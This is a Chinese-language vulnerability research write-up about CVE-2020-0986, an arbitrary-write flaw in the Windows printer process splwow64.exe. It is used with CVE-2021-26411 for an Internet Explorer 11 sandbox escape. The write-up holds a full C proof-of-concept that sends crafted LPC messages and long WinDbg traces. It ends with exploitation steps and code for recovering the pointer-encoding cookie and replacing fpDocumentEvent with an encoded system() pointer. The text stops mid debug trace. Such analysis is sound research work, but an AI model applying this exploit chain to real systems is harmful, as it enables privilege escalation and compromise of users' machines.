前言
这篇文章描述如何利用CVE-2020-0986实现IE沙箱逃逸。
本文不会给出完整的利用代码,只分享一些漏洞利用思路。
2021年4月30日,安恒威胁情报中心发布了一篇《深入分析 CVE-2021-26411 IE浏览器UAF漏洞》,里面详细分析了该漏洞的原理和利用过程,文章最后提到 “这种IE漏洞在IE11环境中需要配合一个提权漏洞才能实现代码执行,目前还未见到对这个漏洞配套使用的提权漏洞的披露”,所以本人以研究学习为目的,通过参考 @iamelli0t师傅在2020看雪SDC的演讲内容 《逃逸IE浏览器沙箱:在野0Day漏洞利用复现 》,复现了CVE-2020-0986的提权EXP,并配合CVE-2021-26411实现了IE 11沙箱逃逸。
漏洞概述
CVE-2021-26411已经在安恒的文章中已经做了详细描述,这里就不在介绍。
CVE-2020-0986是用户模式下打印机驱动主进程splwow64.exe存在任意指针取消引用漏洞,该漏洞允许使用任意参数在splwow64.exe进程空间内调用Memcpy函数,这实际上是在splwow64.exe进程空间内实现了一个任意地址写的原语。因为splwow64.exe是IE提权策略的白名单进程,所以可以利用IE的代码执行启动splwow64.exe进程,并通过发送特定LPC消息来操纵splwow64.exe进程内存,实现在splwow64.exe进程中执行任意代码并逃逸IE 11沙箱。
POC
本次分析用到的POC来自google project zero。
#include <iostream>;
#include "windows.h";
#include "Shlwapi.h";
#include "winternl.h";
typedef struct _PORT_VIEW
{
UINT64 Length;
HANDLE SectionHandle;
UINT64 SectionOffset;
UINT64 ViewSize;
UCHAR* ViewBase;
UCHAR* ViewRemoteBase;
} PORT_VIEW, * PPORT_VIEW;
PORT_VIEW ClientView;
typedef struct _PORT_MESSAGE_HEADER {
USHORT DataSize;
USHORT MessageSize;
USHORT MessageType;
USHORT VirtualRangesOffset;
CLIENT_ID ClientId;
UINT64 MessageId;
UINT64 SectionSize;
} PORT_MESSAGE_HEADER, * PPORT_MESSAGE_HEADER;
typedef struct _PORT_MESSAGE {
PORT_MESSAGE_HEADER MessageHeader;
UINT64 MsgSendLen;
UINT64 PtrMsgSend;
UINT64 MsgReplyLen;
UINT64 PtrMsgReply;
UCHAR Unk4[0x1F8];
} PORT_MESSAGE, * PPORT_MESSAGE;
PORT_MESSAGE LpcRequest;
PORT_MESSAGE LpcReply;
NTSTATUS(NTAPI* NtOpenProcessToken)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_Out_ PHANDLE TokenHandle
);
NTSTATUS(NTAPI* ZwQueryInformationToken)(
_In_ HANDLE TokenHandle,
_In_ TOKEN_INFORMATION_CLASS TokenInformationClass,
_Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation,
_In_ ULONG TokenInformationLength,
_Out_ PULONG ReturnLength
);
NTSTATUS(NTAPI* NtCreateSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PLARGE_INTEGER MaximumSize,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle
);
NTSTATUS(NTAPI* ZwSecureConnectPort)(
_Out_ PHANDLE PortHandle,
_In_ PUNICODE_STRING PortName,
_In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos,
_Inout_opt_ PPORT_VIEW ClientView,
_In_opt_ PSID Sid,
_Inout_opt_ PVOID ServerView,
_Out_opt_ PULONG MaxMessageLength,
_Inout_opt_ PVOID ConnectionInformation,
_Inout_opt_ PULONG ConnectionInformationLength
);
NTSTATUS(NTAPI* NtRequestWaitReplyPort)(
IN HANDLE PortHandle,
IN PPORT_MESSAGE LpcRequest,
OUT PPORT_MESSAGE LpcReply
);
int Init()
{
HMODULE ntdll = GetModuleHandleA("ntdll");
NtOpenProcessToken = (NTSTATUS(NTAPI*) (HANDLE, ACCESS_MASK, PHANDLE)) GetProcAddress(ntdll, "NtOpenProcessToken");
if (NtOpenProcessToken == NULL)
{
return 0;
}
ZwQueryInformationToken = (NTSTATUS(NTAPI*) (HANDLE, TOKEN_INFORMATION_CLASS, PVOID, ULONG, PULONG)) GetProcAddress(ntdll, "ZwQueryInformationToken");
if (ZwQueryInformationToken == NULL)
{
return 0;
}
NtCreateSection = (NTSTATUS(NTAPI*) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE)) GetProcAddress(ntdll, "NtCreateSection");
if (NtCreateSection == NULL)
{
return 0;
}
ZwSecureConnectPort = (NTSTATUS(NTAPI*) (PHANDLE, PUNICODE_STRING, PSECURITY_QUALITY_OF_SERVICE, PPORT_VIEW, PSID, PVOID, PULONG, PVOID, PULONG)) GetProcAddress(ntdll, "ZwSecureConnectPort");
if (ZwSecureConnectPort == NULL)
{
return 0;
}
NtRequestWaitReplyPort = (NTSTATUS(NTAPI*) (HANDLE, PPORT_MESSAGE, PPORT_MESSAGE)) GetProcAddress(ntdll, "NtRequestWaitReplyPort");
if (NtRequestWaitReplyPort == NULL)
{
return 0;
}
return 1;
}
int GetPortName(PUNICODE_STRING DestinationString)
{
void* tokenHandle;
DWORD sessionId;
ULONG length;
int tokenInformation[16];
WCHAR dst[256];
memset(tokenInformation, 0, sizeof(tokenInformation));
ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);
memset(dst, 0, sizeof(dst));
if (NtOpenProcessToken(GetCurrentProcess(), 0x20008u, &tokenHandle)
|| ZwQueryInformationToken(tokenHandle, TokenStatistics, tokenInformation, 0x38u, &length))
{
return 0;
}
wsprintfW(
dst,
L"\\RPC Control\\UmpdProxy_%x_%x_%x_%x",
sessionId,
tokenInformation[2],
tokenInformation[3],
0x2000);
printf("name: %ls\n", dst);
RtlInitUnicodeString(DestinationString, dst);
return 1;
}
HANDLE CreatePortSharedBuffer(PUNICODE_STRING PortName)
{
HANDLE sectionHandle = 0;
HANDLE portHandle = 0;
union _LARGE_INTEGER maximumSize;
maximumSize.QuadPart = 0x20000;
if (0 != NtCreateSection(§ionHandle, SECTION_MAP_WRITE | SECTION_MAP_READ, 0, &maximumSize, PAGE_READWRITE, SEC_COMMIT, NULL)) {
return 0;
}
if (sectionHandle)
{
ClientView.SectionHandle = sectionHandle;
ClientView.Length = 0x30;
ClientView.ViewSize = 0x9000;
int retval = ZwSecureConnectPort(&portHandle, PortName, NULL, &ClientView, NULL, NULL, NULL, NULL, NULL);
if(retval){
return 0;
}
}
return portHandle;
}
PVOID PrepareMessage()
{
memset(&LpcRequest, 0, sizeof(LpcRequest));
LpcRequest.MessageHeader.DataSize = 0x20;
LpcRequest.MessageHeader.MessageSize = 0x48;
LpcRequest.MsgSendLen = 0x88;
LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
LpcRequest.MsgReplyLen = 0x10;
LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88;
memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
*(UINT64*)ClientView.ViewBase = 0x6D00000000; //Msg Type (Document Event)
*((UINT64*)ClientView.ViewBase + 3) = (UINT64)ClientView.ViewRemoteBase + 0x100; //First arg to FindPrinterHandle
*((UINT64*)ClientView.ViewBase + 4) = 0x500000005; // 2nd arg to FindPrinterHandle
*((UINT64*)ClientView.ViewBase + 7) = 0x2000000001; //iEsc argument to DocumentEvent
*((UINT64*)ClientView.ViewBase + 0xA) = (UINT64)ClientView.ViewRemoteBase + 0x800; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy
*((UINT64*)ClientView.ViewBase + 0xB) = (UINT64)ClientView.ViewRemoteBase + 0x840; //Destination of memcpy
*((UINT64*)ClientView.ViewBase + 0x28) = (UINT64)ClientView.ViewRemoteBase + 0x160;
*((UINT64*)ClientView.ViewBase + 0x2D) = 0x500000005;
*((UINT64*)ClientView.ViewBase + 0x2E) = (UINT64)ClientView.ViewRemoteBase + 0x200;
*((UINT64*)ClientView.ViewBase + 0x40) = 0x6767;
*((UINT64*)ClientView.ViewBase + 0x100) = (UINT64)ClientView.ViewRemoteBase + 0x810;
return ClientView.ViewBase;
}
void DebugWrite()
{
printf("Copy from 0x%llX to 0x%llX (0x%llX bytes)\n", *((UINT64*)ClientView.ViewBase + 0x100), *((UINT64*)ClientView.ViewBase + 0xB), *((UINT64*)ClientView.ViewBase + 0x10A) >> 48);
}
bool WriteData(HANDLE portHandle, UINT64 offset, UCHAR* buf, UINT64 size)
{
*((UINT64*)ClientView.ViewBase + 0xB) = offset;
*((UINT64*)ClientView.ViewBase + 0x10A) = size << 48;
memcpy(ClientView.ViewBase + 0x810, buf, size);
DebugWrite();
return NtRequestWaitReplyPort(portHandle, &LpcRequest, &LpcReply) == 0;
}
int main()
{
Init();
CHAR Path[0x100];
GetCurrentDirectoryA(sizeof(Path), Path);
PathAppendA(Path, "CreateDC.exe");
if (!(PathFileExistsA(Path)))
{
return 0;
}
WinExec(Path, 0);
CreateDCW(L"Microsoft XPS Document Writer", L"Microsoft XPS Document Writer", NULL, NULL);
UNICODE_STRING portName;
if (!GetPortName(&portName))
{
return 0;
}
HANDLE portHandle = CreatePortSharedBuffer(&portName);
if (!(portHandle && ClientView.ViewBase && ClientView.ViewRemoteBase))
{
return 0;
}
PrepareMessage();
printf("Press [Enter] to continue . . .");
fflush(stdout);
getchar();
UINT64 value = 0;
if (!WriteData(portHandle, 0x4141414141414141, (UCHAR*)&value, 8))
{
return 0;
}
printf("Done\n");
return 0;
}
POC分析
一个简单的LPC通信,有以下几个步骤:
Server指定一个端口名,并创建端口
Server监听创建的端口
Client连接Server创建的端口
Server接受Client连接请求并完成连接
Client发送请求报文,并等待Server响应
Server接受请求报文并响应
在LPC通信过程中,如果报文较大,通信双方就会采用共享内存区的方式交换数据,但会通过报文进行协调同步。
LPC通信流程如下图所示(图片源自 @iamelli0t 师傅在看雪SDC的演讲PPT )
<img src=”https://gitee.com/tianxuan-securitylab/source/raw/master/img/1623401452747.png” alt=”1623401452747″ style=”zoom: 50%;” />
更多LPC相关内容,请自行查阅,本文不做详述。
目前已知的是通过NtRequestWaitReplyPort发送LPC消息到splwow64.exe进程后,由splwow64!TLPCMgr::ProcessRequest对LPC消息进行处理,所以对splwow64!TLPCMgr::ProcessRequest下断。
0:009> bu splwow64!TLPCMgr::ProcessRequest
0:009> bu gdi32full!GdiPrinterThunk
0:009> g
Breakpoint 0 hit
splwow64!TLPCMgr::ProcessRequest:
00007ff7`0bf176ac 48895c2418 mov qword ptr [rsp+18h],rbx ss:00000000`0279f3e0=0000000000d7ca90
0:007> r
rax=0000000000000000 rbx=0000000000d7ca90 rcx=0000000000d756f0
rdx=0000000000d7cac0 rsi=0000000000d7cac0 rdi=0000000000d786a0
rip=00007ff70bf176ac rsp=000000000279f3c8 rbp=0000000000b6a478
r8=000000000279f328 r9=0000000000b6a478 r10=0000000000000000
r11=0000000000000244 r12=000000007ffe03b0 r13=000000000000022c
r14=0000000000d78778 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
splwow64!TLPCMgr::ProcessRequest:
00007ff7`0bf176ac 48895c2418 mov qword ptr [rsp+18h],rbx ss:00000000`0279f3e0=0000000000d7ca90
rdx=0000000000d7cac0 即为LpcRequest
IDA反汇编 TLPCMgr::ProcessRequest
windbg调试上图所示代码
0:007>
splwow64!TLPCMgr::ProcessRequest+0x6e:
00007ff7`0bf1771a 66833f20 cmp word ptr [rdi],20h ds:00000000`00d7cac0=0020
0:007>
splwow64!TLPCMgr::ProcessRequest+0x72:
00007ff7`0bf1771e 418bef mov ebp,r15d
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x75:
00007ff7`0bf17721 418bdf mov ebx,r15d
0:007>
splwow64!TLPCMgr::ProcessRequest+0x78:
00007ff7`0bf17724 41be57000000 mov r14d,57h
0:007>
splwow64!TLPCMgr::ProcessRequest+0x7e:
00007ff7`0bf1772a 7523 jne splwow64!TLPCMgr::ProcessRequest+0xa3 (00007ff7`0bf1774f) [br=0]
0:007>
splwow64!TLPCMgr::ProcessRequest+0x80:
00007ff7`0bf1772c 4d397d48 cmp qword ptr [r13+48h],r15 ds:00000000`00d75738={GDI32!GdiPrinterThunk (00007ffa`c8e48eb0)} //判断GDI32!GdiPrinterThunk指针
0:007>
splwow64!TLPCMgr::ProcessRequest+0x84:
00007ff7`0bf17730 741d je splwow64!TLPCMgr::ProcessRequest+0xa3 (00007ff7`0bf1774f) [br=0]
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x86:
00007ff7`0bf17732 8b5f28 mov ebx,dword ptr [rdi+28h] ds:00000000`00d7cae8=00000088
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x89:
00007ff7`0bf17735 8d43f0 lea eax,[rbx-10h]
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x8c:
00007ff7`0bf17738 3defff0f00 cmp eax,0FFFEFh
0:007> r eax
eax=78
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x91:
00007ff7`0bf1773d 0f8737030000 ja splwow64!TLPCMgr::ProcessRequest+0x3ce (00007ff7`0bf17a7a) [br=0]
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x97:
00007ff7`0bf17743 8bcb mov ecx,ebx
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x99:
00007ff7`0bf17745 e8de430000 call splwow64!operator new[] (00007ff7`0bf1bb28)
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x9e:
00007ff7`0bf1774a 488bf0 mov rsi,rax
0:007> r
rax=0000000000d785e0 rbx=0000000000000088 rcx=000000007ffe0380
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000d7cac0
rip=00007ff70bf1774a rsp=000000000279f2e0 rbp=0000000000000000
r8=0000000000000000 r9=0000000000000001 r10=0000000000d70000
r11=000000000279f250 r12=00007ff70bf22048 r13=0000000000d756f0
r14=0000000000000057 r15=0000000000000000
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
splwow64!TLPCMgr::ProcessRequest+0x9e:
00007ff7`0bf1774a 488bf0 mov rsi,rax
上面的代码主要做了三件事,先判断LpcRequest.MessageHeader.DataSize是否为0x20,接着判断GDI32!GdiPrinterThunk函数指针是否存在,如果都存在,取LpcRequest.MsgSendLen的值0x88给EBX,然后调用splwow64!operator new 在splwow64.exe进程空间内分配了一块0x88大小的内存空间,接下来我们称这块空间为InputBuffer。
继续看IDA的反汇编代码
首先进行了复制操作,从LPC通信使用的共享内存复制数据到InPutBuffer中,然后取出LpcRequest.PtrMsgReply 的值给v9,接着取出LpcRequest.MsgReplyLen的值给v10,最后取出 LpcRequest.MessageHeader.MessageType的值给 v11。接下来判断v11、v12的值,这里对v11、v12值的判断结果会影响程序流程是否进入存在漏洞的函数。因为v11和v12的值都是从LpcRequest中得到的,所以我们可以通过控制LpcRequest,让程序按照我们预期的流程走,也就是进入gdi32!GdiPrinterThunk函数,在gdi32!GdiPrinterThunk中又调了gdi32full!GdiPrinterThunk函数。
windbg调试上面这块代码
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xa1:
00007ff7`0bf1774d eb30 jmp splwow64!TLPCMgr::ProcessRequest+0xd3 (00007ff7`0bf1777f)
0:007>
splwow64!TLPCMgr::ProcessRequest+0xd3:
00007ff7`0bf1777f 4885f6 test rsi,rsi
0:007>
splwow64!TLPCMgr::ProcessRequest+0xd6:
00007ff7`0bf17782 0f84eb020000 je splwow64!TLPCMgr::ProcessRequest+0x3c7 (00007ff7`0bf17a73) [br=0]
0:007>
splwow64!TLPCMgr::ProcessRequest+0xdc:
00007ff7`0bf17788 4c8b4730 mov r8,qword ptr [rdi+30h] ds:00000000`00d7caf0=0000000000d20000
0:007>
splwow64!TLPCMgr::ProcessRequest+0xe0:
00007ff7`0bf1778c 488bce mov rcx,rsi
0:007>
splwow64!TLPCMgr::ProcessRequest+0xe3:
00007ff7`0bf1778f 8bd3 mov edx,ebx
0:007>
splwow64!TLPCMgr::ProcessRequest+0xe5:
00007ff7`0bf17791 448bcb mov r9d,ebx
0:007>
splwow64!TLPCMgr::ProcessRequest+0xe8:
00007ff7`0bf17794 ff1506720000 call qword ptr [splwow64!_imp_memcpy_s (00007ff7`0bf1e9a0)] ds:00007ff7`0bf1e9a0={msvcrt!memcpy_s (00007ffa`c8fcd0e0)}
0:007> r
rax=0000000000d785e0 rbx=0000000000000088 rcx=0000000000d785e0
rdx=0000000000000088 rsi=0000000000d785e0 rdi=0000000000d7cac0
rip=00007ff70bf17794 rsp=000000000279f2e0 rbp=0000000000000000
r8=0000000000d20000 r9=0000000000000088 r10=0000000000d70000
r11=000000000279f250 r12=00007ff70bf22048 r13=0000000000d756f0
r14=0000000000000057 r15=0000000000000000
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
splwow64!TLPCMgr::ProcessRequest+0xe8:
00007ff7`0bf17794 ff1506720000 call qword ptr [splwow64!_imp_memcpy_s (00007ff7`0bf1e9a0)] ds:00007ff7`0bf1e9a0={msvcrt!memcpy_s (00007ffa`c8fcd0e0)}
rcx、rdx、r8、r9分别为memcpy_s的四个参数,rcx指向InputBuffer,rdx和r9为size。
r8指向用于LPC通信的共享内存
复制到InputBuffer的数据
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xee:
00007ff7`0bf1779a 4c8b6740 mov r12,qword ptr [rdi+40h] ds:00000000`00d7cb00=0000000000d20088
0:007> dq rcx l11
00000000`00d785e0 0000006d`00000000 00000000`00000000
00000000`00d785f0 00000000`00000000 00000000`00d20100
00000000`00d78600 00000005`00000005 00000000`00000000
00000000`00d78610 00000000`00000000 00000020`00000001
00000000`00d78620 00000000`00000000 00000000`00000000
00000000`00d78630 00000000`00d20800 41414141`41414141
00000000`00d78640 00000000`00000000 00000000`00000000
00000000`00d78650 00000000`00000000 00000000`00000000
00000000`00d78660 00000000`00000000
接着给v9,v10,v11赋值
0:007> r rdi
rdi=0000000000d7cac0 //PORT_MESSAGE
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xee:
00007ff7`0bf1779a 4c8b6740 mov r12,qword ptr [rdi+40h]
//r12 为 V9 = PtrMsgReply ds:00000000`00d7cb00=0000000000d20088
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xf2:
00007ff7`0bf1779e 448b7738 mov r14d,dword ptr [rdi+38h]
//r14d 为 v10 = MsgReplyLen ds:00000000`00d7caf8=00000010
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xf6:
00007ff7`0bf177a2 0fb75f04 movzx ebx,word ptr [rdi+4] ds:00000000`00d7cac4=0001
//ebx 为 v11 = MessageType
0:007> p
splwow64!TLPCMgr::ProcessRequest+0xfa:
00007ff7`0bf177a6 488b0d9ba80000 mov rcx,qword ptr [splwow64!WPP_GLOBAL_Control (00007ff7`0bf22048)] ds:00007ff7`0bf22048={splwow64!WPP_MAIN_CB (00007ff7`0bf22708)}
0:007> r
rax=0000000000000000 rbx=0000000000000001 rcx=0000000000d785e0
rdx=fffffffffffa7a20 rsi=0000000000d785e0 rdi=0000000000d7cac0
rip=00007ff70bf177a6 rsp=000000000279f2e0 rbp=0000000000000000
r8=0000000000000000 r9=0000000000000000 r10=0000000000d70000
r11=0000000000d785e0 r12=0000000000d20088 r13=0000000000d756f0
r14=0000000000000010 r15=0000000000000000
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
splwow64!TLPCMgr::ProcessRequest+0xfa:
00007ff7`0bf177a6 488b0d9ba80000 mov rcx,qword ptr [splwow64!WPP_GLOBAL_Control (00007ff7`0bf22048)] ds:00007ff7`0bf22048={splwow64!WPP_MAIN_CB (00007ff7`0bf22708)}
经过一系列的判断后,程序最终进入了gdi32full!GdiPrinterThunk,且传入的三个参数为:InputBuffer、PtrMsgReply和MsgReplyLen。
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x1ec:
00007ff7`0bf17898 458bc6 mov r8d,r14d
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x1ef:
00007ff7`0bf1789b 498bd4 mov rdx,r12
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x1f2:
00007ff7`0bf1789e 488bce mov rcx,rsi
0:007> p
splwow64!TLPCMgr::ProcessRequest+0x1f5:
00007ff7`0bf178a1 ff15e9720000 call qword ptr [splwow64!_guard_dispatch_icall_fptr (00007ff7`0bf1eb90)] ds:00007ff7`0bf1eb90={ntdll!LdrpDispatchUserCallTarget (00007ffa`c946c590)}
0:007> r
rax=00007ffac8e48eb0 rbx=0000000000000000 rcx=0000000000d785e0
rdx=0000000000d20088 rsi=0000000000d785e0 rdi=0000000000d7cac0
rip=00007ff70bf178a1 rsp=000000000279f2e0 rbp=0000000000000000
r8=0000000000000010 r9=0000000000000000 r10=0000000000d70000
r11=0000000000d785e0 r12=0000000000d20088 r13=0000000000d756f0
r14=0000000000000010 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
splwow64!TLPCMgr::ProcessRequest+0x1f5:
00007ff7`0bf178a1 ff15e9720000 call qword ptr [splwow64!_guard_dispatch_icall_fptr (00007ff7`0bf1eb90)] ds:00007ff7`0bf1eb90={ntdll!LdrpDispatchUserCallTarget (00007ffa`c946c590)}
..................................................
0:007> p
ntdll!LdrpDispatchUserCallTarget+0x7:
00007ffa`c946c597 4c8bd0 mov r10,rax
0:007> ln rax
Browse module
Clear breakpoint 2
(00007ffa`c8e48eb0) GDI32!GdiPrinterThunk | (00007ffa`c8e48ebc) GDI32!_imp_load_GdiProcessSetup
Exact matches:
0:007> p
ntdll!LdrpDispatchUserCallTarget+0xa:
00007ffa`c946c59a 49c1ea09 shr r10,9
0:007>
ntdll!LdrpDispatchUserCallTarget+0xe:
00007ffa`c946c59e 4f8b1cd3 mov r11,qword ptr [r11+r10*8] ds:00007ff5`d81a9238=8888888888888888
0:007>
ntdll!LdrpDispatchUserCallTarget+0x12:
00007ffa`c946c5a2 4c8bd0 mov r10,rax
0:007> ln rax
Browse module
Clear breakpoint 2
(00007ffa`c8e48eb0) GDI32!GdiPrinterThunk | (00007ffa`c8e48ebc) GDI32!_imp_load_GdiProcessSetup
Exact matches:
.............................................
0:007> p
Breakpoint 1 hit
gdi32full!GdiPrinterThunk:
00007ffa`c71a59b0 48895c2410 mov qword ptr [rsp+10h],rbx ss:00000000`0279f2e8=0000000000d785e0
0:007> r
rax=00007ffac8e48eb0 rbx=0000000000000000 rcx=0000000000d785e0
rdx=0000000000d20088 rsi=0000000000d785e0 rdi=0000000000d7cac0
rip=00007ffac71a59b0 rsp=000000000279f2d8 rbp=0000000000000000
r8=0000000000000010 r9=0000000000000000 r10=00000fff591c91d7
r11=8888888888888888 r12=0000000000d20088 r13=0000000000d756f0
r14=0000000000000010 r15=0000000000000000
iopl=0 nv up ei pl nz na po cy
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000207
gdi32full!GdiPrinterThunk:
00007ffa`c71a59b0 48895c2410 mov qword ptr [rsp+10h],rbx ss:00000000`0279f2e8=0000000000d785e0
进入gdi32full!GdiPrinterThunk函数后,先获取索引值,因为不同的索引值,会被不同的函数处理。索引值为位于InputBuffer+0x4处的DWORD。
下面是我们期望进入的处理函数,可以看出,当Fun_Index为0x6D,就可以进入我们期望的代码块。
在进入触发漏洞的代码Memcpy前,还要经过4个if判断和一个Decode函数。
这4个if判断的值,都可以被我们直接或间接控制,所以程序最终会来到漏洞函数Memcpy,且三个参数:目的地址、源地址、大小都可以被我们控制,所以这里实现了一个在splwow64进程空间内的 Write What Where Primitive 。Decode函数的作用是对Encode的DocumentEvent指针进行解码,也就是对fpDocumentEvent指针进行解码,从而得到真实的函数指针。
0:007>
gdi32full!GdiPrinterThunk+0x2ac:
00007ffa`c71a5c5c 488b0d85d51300 mov rcx,qword ptr [gdi32full!fpDocumentEvent (00007ffa`c72e31e8)] ds:00007ffa`c72e31e8=7ec611be0000fff5
0:007> p
gdi32full!GdiPrinterThunk+0x2b3:
00007ffa`c71a5c63 48ff1536960a00 call qword ptr [gdi32full!_imp_RtlDecodePointer (00007ffa`c724f2a0)] ds:00007ffa`c724f2a0={ntdll!RtlDecodePointer (00007ffa`c94477a0)}
0:007> p
gdi32full!GdiPrinterThunk+0x2ba:
00007ffa`c71a5c6a 0f1f440000 nop dword ptr [rax+rax]
0:007> ln rax
Browse module
Set bu breakpoint
(00007ffa`b1328f80) WINSPOOL!DocumentEvent | (00007ffa`b132939c) WINSPOOL!CallDrvDocumentEvent
Exact matches:
WINSPOOL!DocumentEvent (void)
0:007>
gdi32full!GdiPrinterThunk+0x1fd4a:
00007ffa`c71c56fa e834d5feff call gdi32full!memcpy (00007ffa`c71b2c33)
0:007> r
rax=0000000000d20800 rbx=0000000000d20160 rcx=4141414141414141
rdx=0000000000d20810 rsi=0000000000d20088 rdi=0000000000d785e0
rip=00007ffac71c56fa rsp=000000000279f210 rbp=000000000279f279
r8=0000000000000008 r9=0000000000000100 r10=00000fff5920c6c0
r11=000000000279f0e0 r12=0000000000000000 r13=0000000000000001
r14=0000000000000010 r15=0000000000000000
iopl=0 nv up ei ng nz ac po cy
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000297
gdi32full!GdiPrinterThunk+0x1fd4a:
00007ffa`c71c56fa e834d5feff call gdi32full!memcpy (00007ffa`c71b2c33)
漏洞利用
通过上面对POC的分析,我们得到了如下信息。
传入splwow64.exe进程的LPC消息,我们可以自由构造,所以我们可以控制程序流程每次都走到DocumentEvent函数。
我们拥有一个任意地址写的原语。
参考卡巴斯基的分析文章,我们知道fpDocumentEvent函数指针是被编码过的值,且每一次编码得到的值都不同,这取决于当前的Cookie值。
__int64 __fastcall RtlEncodePointer(__int64 a1){ __int64 v1; // rax __int64 v2; // rbx unsigned int v4; // eax unsigned int v5; // [rsp+48h] [rbp+10h] v1 = (unsigned int)`RtlpGetCookieValue'::`2'::CookieValue; v2 = a1; if ( !`RtlpGetCookieValue'::`2'::CookieValue ) { v4 = NtQueryInformationProcess(-1i64, 36i64, &v5); if ( (v4 & 0x80000000) != 0 ) RtlRaiseStatus(v4); v1 = v5; `RtlpGetCookieValue'::`2'::CookieValue = v5; } return __ROR8__(v2 ^ v1, v1 & 0x3F);}
在splwow64.exe中,每一次执行DocumentEvent时,都先将fpDocumentEvent进行解码,从而得到原始的DocumentEvent函数指针,然后再进行调用,而fpDocumentEvent位于splwow64.exe进程的.data 段,也就是说fpDocumentEvent指针的偏移是确定的。
同时我们知道一个事实, Windows 系统上的地址空间布局随机化是基于引导的 ,也就说当系统启动后,系统DLL的基址就不会改变,直到下次重启系统,所以在EXP中通过手动加载gdi32full.dll,就可以知道当前fpDocumentEvent指针的实际地址。
那么漏洞利用的思路就是,利用任意地址写的原语,将我们想要调用的函数指针,例如system函数指针,替换fpDocumentEvent函数指针,因为DocumentEvent函数在特定索引值的情况下,每次都会被调用,所以当我们替换成功后,实际调用的函数即为system。
漏洞利用简述步骤:
- 在调试环境下,确定fpDocumentEvent函数指针偏移,这里称为fpDocOffset。
- 在漏洞利用程序中,手动加载gdi32full.dll和winspool.drv,分别获得gdi32full.dll的BaseAddress和DocumentEvent函数指针。
- 发送LPC消息到splwow64.exe,获得BaseAddress+fpDocOffset地址处的fpDocumentEvent函数指针。
- 目前我们已经得到了fpDocumentEvent函数指针和DocumentEvent函数指针,也就是编码前后的函数指针,所以我们可以计算出编码所用的Cookie值,计算公式如下。(源自 @iamelli0t 师傅在看雪SDC的演讲PPT )
UINT64 CalcCookie(UINT64 encodePtr, UINT64 decodePtr){ UINT cookie = 0; for (UINT i = 0; i <= 0x3f; i++) { cookie = (UINT)decodePtr ^ __ROL8__(encodePtr, i & 0x3F); if ((cookie & 0x3f) == i && __ROR8__(decodePtr ^ cookie, cookie & 0x3f) == encodePtr) { break; } } return cookie;}
- 通过第四步得到的Cookie值,编码system函数指针,这里我们称编码后的值为fpSystem,编码公式如下。(源自卡巴斯基博客 )
UINT64 encodePtr = __ROR8__(cookie ^ (UINT64)systemAdd, cookie & 0x3f);
- 继续发送LPC消息,通过共享内存,将fpSystem函数指针填充到BaseAddress+fpDocOffset地址处。
- 最后再发送一次特定索引值的LPC消息,同时在LPC消息中包含system函数的参数。
下面我们通过调试看看具体的流程
- 从splwow64.exe进程空间获取fpDocumentEvent函数指针到共享内存
0:006> gdi32full!GdiPrinterThunk+0x2ac:00007ffa`c71a5c5c 488b0d85d51300 mov rcx,qword ptr [gdi32full!fpDocumentEvent (00007ffa`c72e31e8)] ds:00007ffa`c72e31e8=07ffa3f668d740000:006> ln 00007ffa`c72e31e8Browse moduleSet bu breakpoint(00007ffa`c72e31e8) gdi32full!fpDocumentEvent | (00007ffa`c72e31f0) gdi32full!fpQuerySpoolModeExact matches:0:006> pgdi32full!GdiPrinterThunk+0x2b3:00007ffa`c71a5c63 48ff1536960a00 call qword ptr [gdi32full!_imp_RtlDecodePointer (00007ffa`c724f2a0)] ds:00007ffa`c724f2a0={ntdll!RtlDecodePointer (00007ffa`c94477a0)}..................................................................................................................0:006> gdi32full!GdiPrinterThunk+0x1fd4a:00007ffa`c71c56fa e834d5feff call gdi32full!memcpy (00007ffa`c71b2c33)0:006> rrax=0000000000a20800 rbx=0000000000a20160 rcx=0000000000a20060rdx=00007ffac72e31e8 rsi=0000000000a20088 rdi=0000000000cdca80rip=00007ffac71c56fa rsp=000000000267f280 rbp=000000000267f2e9 r8=0000000000000008 r9=0000000000000100 r10=00000fff5920c6c0r11=000000000267f150 r12=0000000000000000 r13=0000000000000001r14=0000000000000010 r15=0000000000000000iopl=0 nv up ei ng nz ac po cycs=0033 ss=002b 